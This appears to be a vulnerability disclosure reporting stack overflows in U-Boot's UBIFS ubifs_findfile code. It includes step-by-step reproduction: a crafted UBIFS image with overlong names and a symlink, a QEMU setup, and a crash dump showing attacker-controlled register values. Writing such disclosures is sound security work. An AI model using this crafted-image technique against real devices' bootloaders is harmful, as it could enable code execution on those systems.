Greetings,
There appears to be a few stack overflows in ubifs_findfile as present in: https://github.com/u-boot/u-boot/blob/d990f7d75d3dcf45a9220abc900495f00792f4...
Namely: - strcpy @ https://github.com/u-boot/u-boot/blob/d990f7d75d3dcf45a9220abc900495f00792f4... - memcpy @ https://github.com/u-boot/u-boot/blob/d990f7d75d3dcf45a9220abc900495f00792f4... - sprintf @ https://github.com/u-boot/u-boot/blob/d990f7d75d3dcf45a9220abc900495f00792f4...
The code path can be hit via ubifs_load -> ubifs_read -> ubifs_findfile, and demonstrated using the command line.
Here are some repro steps (they are bit old so hopefully this still works):
- Create an UBIFS image On the host, build the directory structure you want in rootfs/ mkdir `python -c "print('B'*255)"` cd BB...BB && touch `python -c "print('A'*255)"` && cd .. ln -s BB...BB/AA...AA CCCC mkfs.ubifs --min-io-size=8 --leb-size=262016 --max-leb-cnt=128 -r rootfs/ ubifs.img ubinize -o rootfs.ubi -p 262144 -m 128 -O 64 -s 128 -e 16 -v ubi.ini ubi.ini contents: [ubifs] mode=ubi image=ubifs.img vol_id=0 vol_type=dynamic vol_name=rootfs vol_flags=autoresize
dd bs=1k count=64k if=/dev/zero of=nor1 && dd bs=1k conv=notrunc if=rootfs.ubi of=nor1 This create a 64MB image containing our UBIFS image
- Create an U-Boot image git clone git://www.denx.de/git/u-boot.git && cd u-boot export ARCH=arm && export CROSS_COMPILE=arm-linux-gnueabihf- Make sure you have the cross-compiler for arm, it required some tinkering and doing some symbolic link on gLinux due to some binary ending in -gcc8 instead of -gcc, a symbolic link solves this make qemu_arm_defconfig make menuconfig The point here is to enable MTD, UBI, SPI. It’s pretty annoying as some options mask some others, and there is no way I found to have a clear picture of what to turn on or not. It was mostly trial and error until I got something working. make dd bs=1k count=64k if=/dev/zero of=nor0 && dd bs=1k conv=notrunc if=u-boot.bin of=nor0 This creates a 64MB image containing our newly compiled U-Boot qemu-system-arm -nographic -M virt -drive file=nor0,if=pflash,format=raw This should drop you to the u-boot command line => mtd list This should show 2 NOR flashes of 0x4000000 bytes
- Trigger qemu-system-arm -nographic -M virt -drive file=nor0,if=pflash,format=raw -drive file=nor1,if=pflash,format=raw This drops you to the u-boot command line with the 2nd NOR containing the UBIFS image => setenv mtdids nor1=ubi_flash => setenv mtdparts mtdparts=ubi_flash:-(rootfs) => mtdparts This should show the following: device nor1 <ubi_flash>, # parts = 1 #: name size offset mask_flags 0: rootfs 0x04000000 0x00000000 0
active partition: nor1,0 - (rootfs) 0x04000000 @ 0x00000000
=> ubi part rootfs => ubifsmount ubi0:rootfs => ubifsls This should show the following: <LNK> 511 Fri Dec 13 20:11:34 2019 CCCC <DIR> 472 Fri Dec 13 20:10:28 2019 BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
=> ubifsls CCCC This should crash u-boot: undefined instruction pc : [<46e0f396>] lr : [<47fd0e48>] reloc pc : [<feebe396>] lr : [<0007fe48>] sp : 46e0fce8 ip : 47fd0e40 fp : 42424242 r10: 42424242 r9 : 46f10ed8 r8 : 42424242 r7 : 42424242 r6 : 42424242 r5 : 42424242 r4 : 42424242 r3 : 46f5e9c0 r2 : 00000001 r1 : 000008b8 r0 : 00000000 Flags: nZCv IRQs off FIQs off Mode SVC_32 Code: 00000000 00000000 00000000 00000000 (00000000) Resetting CPU ...
Thanks,
Kostya